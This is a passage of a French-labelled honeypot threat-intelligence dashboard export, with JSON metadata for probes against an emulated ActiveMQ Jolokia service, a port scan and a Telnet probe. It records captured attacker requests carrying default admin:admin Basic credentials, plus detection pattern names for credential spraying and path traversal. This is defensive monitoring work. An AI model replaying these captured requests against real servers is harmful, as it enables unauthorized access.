"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950319:lfi-14",
"950403:ssrf-2",
"950406:ssrf-3",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"950600:k8s-api",
"http_auth_header_token",
"http_basic_auth",
"http_jwt_body",
"http_probe_api",
"http_ssrf_body",
"net_web_probe"
]
}
|
|
|
TCP |
8161 · HTTP
|
http
|
Sonde HTTP smuggling
http smuggling probe · via HTTP:8161 · (tentative d'exploit) · → /api/jolokia/
|
Élevée
|
Moyen · 61
|
|
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Multi-protocole corrélé (5 min)
MITRE
TA0001
TA0001
TA0002
Protocole
POST /api/jolokia/ UA Mozilla/5.0
Émulateur
HTTP
WAF
22
Recommandation
Investiguer
Tags
950406:ssrf-3
950468:nosqli-3
950470:nosqli-3
950600:k8s-api
Cible HTTP
POST
/api/jolokia/
TLS SNI
—
Capteur
paris-1
|
Méthode
POST
Port
8161
Chemin / cible
/api/jolokia/
Pourquoi cette classification : Type « http_smuggling_probe » (signaux protocolaires) · confiance 95%
Confiance classification
100%
Corrélation +8
Risque capteur
Moyen
· 61
Confiance : Confiance 95 % — Motif catalogue confirmé · 4 tag(s) WAF
Protocole émulé
1
Signaux
pat-0842
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 921130 duplicate CL
Cred Basic auth spray
LFI Double-dot bypass
Ligne de requête
POST /api/jolokia/ HTTP/1.1
User-Agent
Mozilla/5.0
Règles WAF
ssrf-3
nosqli-3
k8s-api
Payload (extrait)
POST /api/jolokia/ HTTP/1.1
Accept-Encoding: identity
Content-Length: 212
Host: 62.3.50.33:8161
Content-Type: application/js
Requête brute (extrait)
POST /api/jolokia/ HTTP/1.1 Accept-Encoding: identity Content-Length: 212 Host: 62.3.50.33:8161 Content-Type: application/json Origin: http://62.3.50.33:8161 Connection: close User-Agent: Mozilla/5.0 Authorization: Basic YWRtaW46YWRtaW4=
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204a657474792f392e34204163746976654d512f352e31380d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2034390d0a0d0a3c68746d6c3e3c626f64793e417061636865204163746976654d5120436f6e",
"emulator_response_len": 146,
"http_header_count": 8,
"http_query_params": 0,
"http_path_depth": 2,
"http_path_ext": null,
"http_ua_hash": "82aa6a482bd276cff149740478a603a5fe834840",
"http_host_hash": "66eb19834a7c23530413a6e482ea0316c4442029",
"http_target_hash": "2a44111495e58a342bdfbe6c7704d4d2a61c7ab4",
"http_referer_hash": null,
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 249,
"payload_entropy": 5.174299053887567,
"port_category": "registered",
"org": "Nodestop LLC",
"service": "http",
"app_proto": "http",
"asn": 400536,
"country": "US",
"dst_port": 8161,
"risk_waf": 96,
"risk_classification": 85,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 4.1,
"risk_breakdown": {
"waf": 96,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25
},
"risk_score": 61,
"tag_count": 8,
"anomaly_count": 0,
"campaign_key": "1d85fac6ac36c805e30cc3064bb6e92d542e6d34",
"event_fingerprint": "a111ac4f64eb04b3a2e184becbb75d20989be518",
"classification_reason": "Type \u00ab http_smuggling_probe \u00bb (signaux protocolaires) \u00b7 confiance 95%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 84,
"precision_signals": [
"pat-0842"
],
"kb_rule_ids": [
"pat-0842"
],
"matched_patterns": [
"pat-0842",
"pat-0463",
"pat-0103"
],
"matched_pattern_names": [
"CRS 921130 duplicate CL",
"Cred Basic auth spray",
"LFI Double-dot bypass"
],
"pattern_ids": [
"pat-0842",
"pat-0463",
"pat-0103"
],
"confidence_breakdown": {
"waf": 96,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 61,
"correlation_boost": 8
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 95,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 400536,
"org": "Nodestop LLC",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "1066b48224bb188ceb955605f4fcff98",
"payload_hash": "33e95850265b639df64c70345481f2f4",
"path_pattern_hash": "fbd2c50c91d33f93fedb0bc479b36e4f"
},
"target_context": {
"dst_port": 8161,
"service": "http",
"service_name": "http",
"risk_score": 61
},
"payload_preview": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"method": "POST",
"path": "\/api\/jolokia\/",
"user_agent": "Mozilla\/5.0",
"waf_tags": [
"950406:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950600:k8s-api"
],
"waf_rule_names": [
"ssrf-3",
"nosqli-3",
"k8s-api"
],
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"request_sample": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/json\r\nOrigin: http:\/\/62.3.50.33:8161\r\nConnection: close\r\nUser-Agent: Mozilla\/5.0\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\n\r\n",
"payload_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"evidence": {
"method": "POST",
"path": "\/api\/jolokia\/",
"user_agent": "Mozilla\/5.0",
"waf_tags": [
"950406:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950600:k8s-api"
],
"waf_rule_names": [
"ssrf-3",
"nosqli-3",
"k8s-api"
],
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"request_sample": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/json\r\nOrigin: http:\/\/62.3.50.33:8161\r\nConnection: close\r\nUser-Agent: Mozilla\/5.0\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\n\r\n",
"payload_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"classification_reason": "Type \u00ab http_smuggling_probe \u00bb (signaux protocolaires) \u00b7 confiance 95%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"web_injection"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "675aa9b96ab955e003e0a7b5a9fed4b10fca5c14",
"protocol_details": {
"http_method": "POST",
"http_path": "\/api\/jolokia\/",
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0",
"port": 8161,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"attack_vector": "http smuggling probe \u00b7 via HTTP:8161 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/api\/jolokia\/",
"target_port_label": "8161 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab http_smuggling_probe \u00bb (signaux protocolaires) \u00b7 confiance 95%",
"classification_reason_label_fr": "Type \u00ab http_smuggling_probe \u00bb (signaux protocolaires) \u00b7 confiance 95%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 61\/100 (Moyen) \u2014 MITRE TA0001 \u2014 confiance 100 % \u2014 via HTTP \u2014 multi-protocole (3 protocoles \u00b7 5 min)",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 96,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 61,
"correlation_boost": 8
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 61,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8161,
"protocol_emulated": true,
"tags_summary": [
"pat-0842"
],
"tags_summary_labels_fr": [
"pat-0842"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +8",
"protocol_details": {
"http_method": "POST",
"http_path": "\/api\/jolokia\/",
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0",
"port": 8161,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "http smuggling probe \u00b7 via HTTP:8161 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/api\/jolokia\/",
"evidence_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"target_port_label": "8161 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 96 \u00b7 Bonus corr\u00e9lation +8 \u00b7 4 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8161"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 3,
"multi_protocol_sample": [
"http",
"port:2323",
"telnet"
],
"multi_protocol_window_s": 300,
"behavior_alerts": [
"multi_protocol_correlation"
],
"correlation_confidence_boost": 8,
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950406:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950600:k8s-api",
"http_auth_header_token",
"http_basic_auth",
"http_probe_api",
"net_web_probe"
]
}
|
|
|
TCP |
2323
|
—
|
Scan de ports
port scan syn · port 2323 · (reconnaissance)
|
Élevée
|
Moyen · 42
|
|
Étape
Reconnaissance
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Multi-protocole corrélé (5 min)
Protocole
WAF
—
Recommandation
Surveiller
Tags
—
Cible HTTP
—
TLS SNI
—
Capteur
paris-1
|
Méthode
—
Port
2323
Chemin / cible
—
Pourquoi cette classification : Type « port_scan_syn » (signaux protocolaires) · confiance 100%
Confiance classification
100%
Corrélation +8
Risque capteur
Moyen
· 42
Confiance : Confiance élevée (100 %) — signaux convergents
Signaux
MITRE-T1046
SIGMA-net-port-scan
Beh Multi Port 60S
Tactiques MITRE
TA0043
User-Agent
—
Règles WAF
—
Meta JSON brut
{
"bytes_in": 0,
"payload_entropy": 0,
"port_category": "registered",
"org": "Nodestop LLC",
"service": null,
"app_proto": null,
"asn": 400536,
"country": "US",
"dst_port": 2323,
"risk_waf": 8,
"risk_classification": 64,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 0,
"risk_novelty": 0,
"risk_boost": 0,
"risk_granularity": 4.6,
"risk_breakdown": {
"waf": 8,
"classification": 64,
"behavior": 0,
"geo": 0,
"protocol": 0,
"novelty": 0
},
"risk_score": 42,
"tag_count": 0,
"anomaly_count": 0,
"campaign_key": "0a9b74886e486ba4acbe70b57f1ae28f3c04d198",
"event_fingerprint": "8363142c9798ea7690238f7a7bcb010f142371b5",
"classification_reason": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 231,
"precision_signals": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"INT-beh-multi-port-60s"
],
"kb_rule_ids": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"INT-beh-multi-port-60s"
],
"confidence_breakdown": {
"waf": 8,
"classification": 64,
"behavior": 0,
"geo": 0,
"protocol": 0,
"novelty": 0,
"risk_score": 42,
"correlation_boost": 8
},
"named_classification_skipped": false,
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 400536,
"org": "Nodestop LLC",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"path_pattern_hash": "6a708bf69e8680803ad7dadb39e2e4d9"
},
"target_context": {
"dst_port": 2323,
"risk_score": 42
},
"attack_stage": "recon",
"mitre_tactics": [
"TA0043"
],
"mitre_techniques": [
"T1046"
],
"mitre": "T1046",
"threat_family": [
"scanner"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "59bee7d037e67d3a6bbb977c7430d7e2e1235718",
"protocol_details": {
"port": 2323
},
"attack_vector": "port scan syn \u00b7 port 2323 \u00b7 (reconnaissance)",
"target_port_label": "2323",
"confidence_reason": "Confiance \u00e9lev\u00e9e (100 %) \u2014 signaux convergents",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"classification_reason_label_fr": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 42\/100 (Moyen) \u2014 MITRE T1046 \u2014 confiance 100 % \u2014 multi-protocole (3 protocoles \u00b7 5 min)",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 8,
"classification": 64,
"behavior": 0,
"geo": 0,
"protocol": 0,
"novelty": 0,
"risk_score": 42,
"correlation_boost": 8
},
"attack_stage": "recon",
"attack_stage_label": "Reconnaissance",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 42,
"risk_label": "Moyen",
"service_name": null,
"service_label_fr": null,
"dst_port": 2323,
"protocol_emulated": null,
"tags_summary": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"INT-beh-multi-port-60s"
],
"tags_summary_labels_fr": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"Beh Multi Port 60S"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "T1046",
"mitre_technique": "T1046",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot",
"correlation_flags": [
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +8",
"protocol_details": {
"port": 2323
},
"attack_vector": "port scan syn \u00b7 port 2323 \u00b7 (reconnaissance)",
"evidence_snippet": null,
"target_port_label": "2323",
"emulator_service": null,
"confidence_reason": "Confiance \u00e9lev\u00e9e (100 %) \u2014 signaux convergents",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 8 \u00b7 Bonus corr\u00e9lation +8",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": true,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "generic",
"service_banner": "honeypot",
"service_os": "linux",
"dst_port": "2323"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 3,
"multi_protocol_sample": [
"http",
"port:2323",
"telnet"
],
"multi_protocol_window_s": 300,
"behavior_alerts": [
"multi_protocol_correlation"
],
"correlation_confidence_boost": 8,
"attack_chain_stage": "reconnaissance",
"matched_patterns": [],
"ban_policy": "advisory_monitor"
}
|
|
|
TCP |
23 · Telnet
|
telnet
|
Sonde Telnet (23/TCP)
port 23 tcp · via Telnet:23 · (sonde / probe)
|
Élevée
|
Moyen · 42
|
|
Étape
Sonde / probe
Chaîne
Découverte
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Multi-protocole corrélé (5 min)
MITRE
TA0007
TA0007
TA0001
Protocole
Émulateur
TELNET
WAF
—
Recommandation
Surveiller
Tags
net_telnet_probe
telnet_emulated
Cible HTTP
—
TLS SNI
—
Capteur
paris-1
|
Méthode
—
Port
23
Chemin / cible
—
Preuve honeypot — Sonde Telnet (23/TCP)
Connexion détectée sur le port 23 (TCP) du capteur simulé.
Pourquoi cette classification : Type « port_23_tcp » (signaux protocolaires) · confiance 55%
Confiance classification
63%
Corrélation +8
Risque capteur
Moyen
· 42
Confiance : Confiance 55 % — Classification nommée non retenue — preuves insuffisantes
Protocole émulé
1
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
User-Agent
—
Règles WAF
—
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "fffb01fffb03fffd180d0a5562756e74752032322e3034204c54530d0a686f6e6579706f74206c6f67696e3a20",
"emulator_response_len": 45,
"port_inferred_service": true,
"bytes_in": 0,
"payload_entropy": 0,
"port_category": "well_known",
"org": "Nodestop LLC",
"service": "telnet",
"app_proto": "telnet",
"asn": 400536,
"country": "US",
"dst_port": 23,
"risk_waf": 8,
"risk_classification": 38,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 36,
"risk_novelty": 0,
"risk_boost": 0,
"risk_granularity": 4.4,
"risk_breakdown": {
"waf": 8,
"classification": 38,
"behavior": 0,
"geo": 0,
"protocol": 36,
"novelty": 0
},
"risk_score": 42,
"tag_count": 2,
"anomaly_count": 0,
"campaign_key": "ee98e358747c5d752a0eb3d3b34c59d0ffe7f883",
"event_fingerprint": "79b983d64b1c5573cc70fb9163374500a6810d67",
"classification_reason": "Type \u00ab port_23_tcp \u00bb (signaux protocolaires) \u00b7 confiance 55%",
"confidence": 0.63,
"classification_confidence": 0.63,
"precision_score": 0,
"precision_signals": [],
"kb_rule_ids": [],
"confidence_breakdown": {
"waf": 8,
"classification": 38,
"behavior": 0,
"geo": 0,
"protocol": 36,
"novelty": 0,
"risk_score": 42,
"correlation_boost": 8
},
"named_classification_skipped": true,
"named_candidate": "telnet_probe",
"service_name": "telnet",
"risk_confidence_factor": 55,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 400536,
"org": "Nodestop LLC",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"path_pattern_hash": "2bb94c377622e6c9a2e704e9148568af"
},
"target_context": {
"dst_port": 23,
"service": "telnet",
"service_name": "telnet",
"risk_score": 42
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"unknown"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "375a927bb9bbd2eb33edd9b4264c0c0b9afc3f8d",
"protocol_details": {
"port": 23,
"service": "telnet",
"service_label_fr": "Telnet"
},
"attack_vector": "port 23 tcp \u00b7 via Telnet:23 \u00b7 (sonde \/ probe)",
"target_port_label": "23 \u00b7 Telnet",
"emulator_service": "telnet",
"confidence_reason": "Confiance 55 % \u2014 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab port_23_tcp \u00bb (signaux protocolaires) \u00b7 confiance 55%",
"classification_reason_label_fr": "Type \u00ab port_23_tcp \u00bb (signaux protocolaires) \u00b7 confiance 55%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 42\/100",
"confidence_pct": 63,
"confidence_breakdown": {
"waf": 8,
"classification": 38,
"behavior": 0,
"geo": 0,
"protocol": 36,
"novelty": 0,
"risk_score": 42,
"correlation_boost": 8
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "discovery",
"attack_chain_stage_label_fr": "D\u00e9couverte",
"risk_score": 42,
"risk_label": "Moyen",
"service_name": "telnet",
"service_label_fr": "Telnet",
"dst_port": 23,
"protocol_emulated": true,
"tags_summary": null,
"tags_summary_labels_fr": null,
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-telnet",
"correlation_flags": [
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +8",
"protocol_details": {
"port": 23,
"service": "telnet",
"service_label_fr": "Telnet"
},
"attack_vector": "port 23 tcp \u00b7 via Telnet:23 \u00b7 (sonde \/ probe)",
"evidence_snippet": null,
"target_port_label": "23 \u00b7 Telnet",
"emulator_service": "telnet",
"confidence_reason": "Confiance 55 % \u2014 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes",
"confidence_factors_fr": "Confiance 63 % \u2014 Score WAF 8 \u00b7 Bonus corr\u00e9lation +8",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "discovery",
"label_fr": "D\u00e9couverte",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "telnet",
"service_banner": "honeypot-telnet",
"service_os": "linux",
"dst_port": "23"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 2,
"multi_protocol_sample": [
"http",
"telnet"
],
"multi_protocol_window_s": 300,
"behavior_alerts": [
"multi_protocol_correlation"
],
"correlation_confidence_boost": 8,
"attack_chain_stage": "discovery",
"matched_patterns": [],
"ban_policy": "advisory_monitor",
"tags_list": [
"net_telnet_probe",
"telnet_emulated"
]
}
|
|
|
TCP |
8161 · HTTP
|
http
|
Sonde HTTP smuggling
http smuggling probe · via HTTP:8161 · (tentative d'exploit) · → /api/jolokia/
|
Élevée
|
Élevé · 77
|
|
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0001
TA0001
TA0002
Protocole
POST /api/jolokia/ UA Mozilla/5.0
Émulateur
HTTP
WAF
48
Recommandation
Investiguer
Tags
950319:lfi-14
950403:ssrf-2
950406:ssrf-3
950407:ssrf-3
Cible HTTP
POST
/api/jolokia/
TLS SNI
—
Capteur
paris-1
|
Méthode
POST
Port
8161
Chemin / cible
/api/jolokia/
Pourquoi cette classification : Motif SSRF · confiance 95%
Confiance classification
95%
Risque capteur
Élevé
· 77
Confiance : Confiance 95 % — Motif catalogue confirmé · 8 tag(s) WAF
Protocole émulé
1
Signaux
pat-0842
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 921130 duplicate CL
Cred Basic auth spray
LFI Double-dot bypass
Ligne de requête
POST /api/jolokia/ HTTP/1.1
User-Agent
Mozilla/5.0
Règles WAF
lfi-14
ssrf-2
ssrf-3
nosqli-3
k8s-api
Payload (extrait)
POST /api/jolokia/ HTTP/1.1
Accept-Encoding: identity
Content-Length: 212
Host: 62.3.50.33:8161
Content-Type: application/js
Requête brute (extrait)
POST /api/jolokia/ HTTP/1.1 Accept-Encoding: identity Content-Length: 212 Host: 62.3.50.33:8161 Content-Type: application/json Origin: http://62.3.50.33:8161 Connection: close User-Agent: Mozilla/5.0 Authorization: Basic YWRtaW46YWRtaW4= {"type"
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204a657474792f392e34204163746976654d512f352e31380d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2034390d0a0d0a3c68746d6c3e3c626f64793e417061636865204163746976654d5120436f6e",
"emulator_response_len": 146,
"http_header_count": 8,
"http_query_params": 0,
"http_path_depth": 2,
"http_path_ext": null,
"http_ua_hash": "82aa6a482bd276cff149740478a603a5fe834840",
"http_host_hash": "66eb19834a7c23530413a6e482ea0316c4442029",
"http_target_hash": "2a44111495e58a342bdfbe6c7704d4d2a61c7ab4",
"http_referer_hash": null,
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 461,
"payload_entropy": 5.385462635806404,
"port_category": "registered",
"org": "Nodestop LLC",
"service": "http",
"app_proto": "http",
"asn": 400536,
"country": "US",
"dst_port": 8161,
"risk_waf": 100,
"risk_classification": 85,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 15,
"risk_granularity": 4.3,
"risk_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25
},
"risk_score": 77,
"tag_count": 14,
"anomaly_count": 0,
"campaign_key": "76acd9525fd2a74223d3ce4d0f313569f243054d",
"event_fingerprint": "d25d0e5c27488b8322bbfae9b19c64b7c1a33e47",
"classification_reason": "Motif SSRF \u00b7 confiance 95%",
"confidence": 0.95,
"classification_confidence": 0.95,
"precision_score": 84,
"precision_signals": [
"pat-0842"
],
"kb_rule_ids": [
"pat-0842"
],
"matched_patterns": [
"pat-0842",
"pat-0463",
"pat-0103"
],
"matched_pattern_names": [
"CRS 921130 duplicate CL",
"Cred Basic auth spray",
"LFI Double-dot bypass"
],
"pattern_ids": [
"pat-0842",
"pat-0463",
"pat-0103"
],
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 77
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 95,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 400536,
"org": "Nodestop LLC",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "1066b48224bb188ceb955605f4fcff98",
"payload_hash": "9a186b7f3893d03e9a8b8ef631bdd9f5",
"path_pattern_hash": "fbd2c50c91d33f93fedb0bc479b36e4f"
},
"target_context": {
"dst_port": 8161,
"service": "http",
"service_name": "http",
"risk_score": 77
},
"payload_preview": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"method": "POST",
"path": "\/api\/jolokia\/",
"user_agent": "Mozilla\/5.0",
"waf_tags": [
"950319:lfi-14",
"950403:ssrf-2",
"950406:ssrf-3",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
